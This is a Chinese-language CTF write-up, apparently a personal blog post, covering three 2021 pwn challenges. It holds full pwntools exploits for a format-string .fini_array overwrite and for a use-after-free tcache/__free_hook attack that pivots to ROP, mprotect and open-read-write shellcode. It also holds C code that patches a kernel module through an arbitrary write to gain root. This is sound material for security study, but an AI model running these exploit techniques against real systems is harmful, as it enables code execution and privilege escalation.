2021金砖-pwn

本文最后更新于:2023年10月15日 晚上

pmagic1

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

def pwn(p,gadget):
libc=ELF('./libc-2.23.so',checksec=0)
p.sendafter("name.\n",'%43$p')
libc.address=int(p.readuntil('Say',drop=1),16)-240-libc.sym['__libc_start_main']
payload=b''
fini=0x600a78
off=8
gadget=libc.address+gadget
pg=p64(gadget)
p_d={}
p_l=[]
off=8+12
for i,v in enumerate(pg):
p_d[v]=off+i
p_l.append(v)
p_l.sort()


for i,v in enumerate(p_l):
if v:
payload+=('%'+str(v-p_l[i-1])+'c%'+str(p_d[v])+'$hhn').encode()
else:
payload+=('%'+str(p_d[v])+'$hhn').encode()
payload=payload.ljust(96,b'\x00')
for i in range(8):
payload+=p64(fini+i)
p.sendlineafter('something.\n',payload)
p.interactive()


for i in [0x45216,0x4526a,0xf02a4,0xf1147]:
try:
p=process("./pmagic")
pwn(p,i)
p.close()
except KeyboardInterrupt as e:
break
except Exception as e:
print(e)

pwn2

main

create

delete

edit

show

delete函数中存在UAF,且create函数中可以创建较大的chunk,所以获取libc地址很简单,但是程序禁用了execve系统调用,所以需要使用orw获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
context.arch='amd64'

sla=lambda a,b:p.sendlineafter(a,b)
sa=lambda a,b:p.sendafter(a,b)
sl=lambda a:p.sendline(a)
ru=lambda a:p.readuntil(a)
rd=lambda a:p.read(a)


def add(size,data=b"\n"):
sla(">> ",'1')
sla('description',str(size).encode())
sa('description',data)

def free(ind):
sla('>> ','2')
sla('index: ',str(ind).encode())

def edit(ind,data):
sla('>> ','3')
sla('index: ',str(ind).encode())
sa('description',data)

def show(ind):
sla('>> ','4')
sla('index: ',str(ind).encode())
return rd(6)

def att(cmd=""):
gdb.attach(p,cmd)
pause()

p=process('./orw_h2',)
libc=ELF('./libc-2.31.so',checksec=0)

add(0x78) #0
add(0x78) #1
add(0x438) #2
add(0x78) #3

free(0)

free(1)
c_0=u64(show(1).ljust(8,b'\x00'))-0x10
success("chunk_0: "+hex(c_0))

free(2)
d=u64(show(2).ljust(8,b'\x00'))
malloc_hook=d-0x60-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
success("libc_address: "+hex(libc.address))

free_hook=libc.sym['__free_hook']
mprotect=libc.sym['mprotect']
rdi=libc.address+0x23b72
rsi=libc.address+0x2604f
rdx=libc.address+0x119241
leave=libc.address+0x5587e
print(hex(leave))

gadget=libc.address+0x154d0a
"""
可以修改rbp的值,达到栈迁移
"""

print(hex(gadget))
shellcode=shellcraft.open('./flag')+shellcraft.read(3,c_0+0x10,0x30)+shellcraft.write(1,c_0+0x10,0x30)
op_s=asm(shellcode)
op_s=op_s+b'\x00'*(0x10-(len(op_s)&0xf))
shell_add=c_0+0x80+0x80+0x10

rop_add=shell_add+len(op_s)

rop=flat([
leave,
rdx,
0,
rop_add-0x28,
rdi,shell_add&0xfffffffffffff000,
rsi,0x1000,
rdx,7,0,
mprotect,
shell_add
])

add(0x438,op_s+rop) #4
edit(1,p64(free_hook))
chunk_data=p64(0)*9+p64(rop_add)
print(hex(rop_add))
success("free_hook: "+hex(free_hook))

add(0x78,chunk_data) #5 2


add(0x78,p64(gadget)) #6 free_hook
free(5)
p.interactive()

pwn3

启动脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
#boot.sh
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokaslr" \
-cpu kvm64 \
-smp cores=2,threads=1 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
# 开启系统时没有随机地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#/etc/rcS
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
# 我们可以通过/tmp/kallsyms文件获取commit_creds与prepare_kernel_cred函数地址
# 如果可以构造commit_creds(prepare_kernel_cred(0))就可以获得root权限
# 因为prepare_kernel_cred(0) 是创建一个拥有特殊权限的用户的cred结构体
# commit_creds 是将当前用户的cred设置为参数cred结构体
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

chown root:root /flag
chmod 400 /flag

insmod baby.ko
chmod 777 /dev/chardev0

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

分析

chardev_init

这里注册了一个设备chardev,并且会在/dev目录下创建名为chardev0的设备

chardev_exit

chardev_ioctl

当我们对打开的/dev/chardev的文件句柄进行ioctl操作时会执行这个函数


可以看到内核中的地址都是可读可写可执行的,而在chardev_ioctl函数中,存在任意地址写入,而且每次开启内核中的地址都不变,那么可以修改chardev_ioctl函数中else部分的代码为commit_creds(prepare_kernel_cred(0)),然后正常返回,之后在用户态调用system("/bin/sh");就可以查看flag文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* exp */
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#define ull unsigned long long int

int main(){
int fd=open("/dev/chardev0",2);
char shellcode[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,72, 199, 199, 0, 0, 0, 0, 72, 199, 195, 32, 24, 10, 129, 255, 211, 72, 137, 199, 72, 199, 195, 48, 20, 10, 129, 255, 211,0x5b,0x41,0x5c,0x5d,0xc3,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
/*
mov rdi,0
mov rbx,0xffffffff810a1820
call rbx
mov rdi,rax
mov rbx,0xffffffff810a1430
call rbx
pop arg
pop cmd
pop rbp
retn
*/
ull mod_add=0xffffffffc0000000;
ull commit_creds=0xffffffff810a1430;
ull kernel_cred=0xffffffff810a1820;
ull edit_add=mod_add+0x33; // 这是chardev_ioctl函数的返回部分代码的开头
ull a[2]={edit_add+40};
int n=40;
int i=0;
for (int i=0;i<6;i++){
a[1]=*(ull*)(&shellcode[n]);
ioctl(fd,0x80084700,a);
n-=8;
a[0]-=8;
} // 修改chardev_ioctl函数中的汇编代码,获取特殊权限
system("/bin/sh");
}

2021金砖-pwn
https://rot-will.github.io/page/wp/2021金砖-pwn/
作者
rot_will
发布于
2022年11月24日
更新于
2023年10月15日
许可协议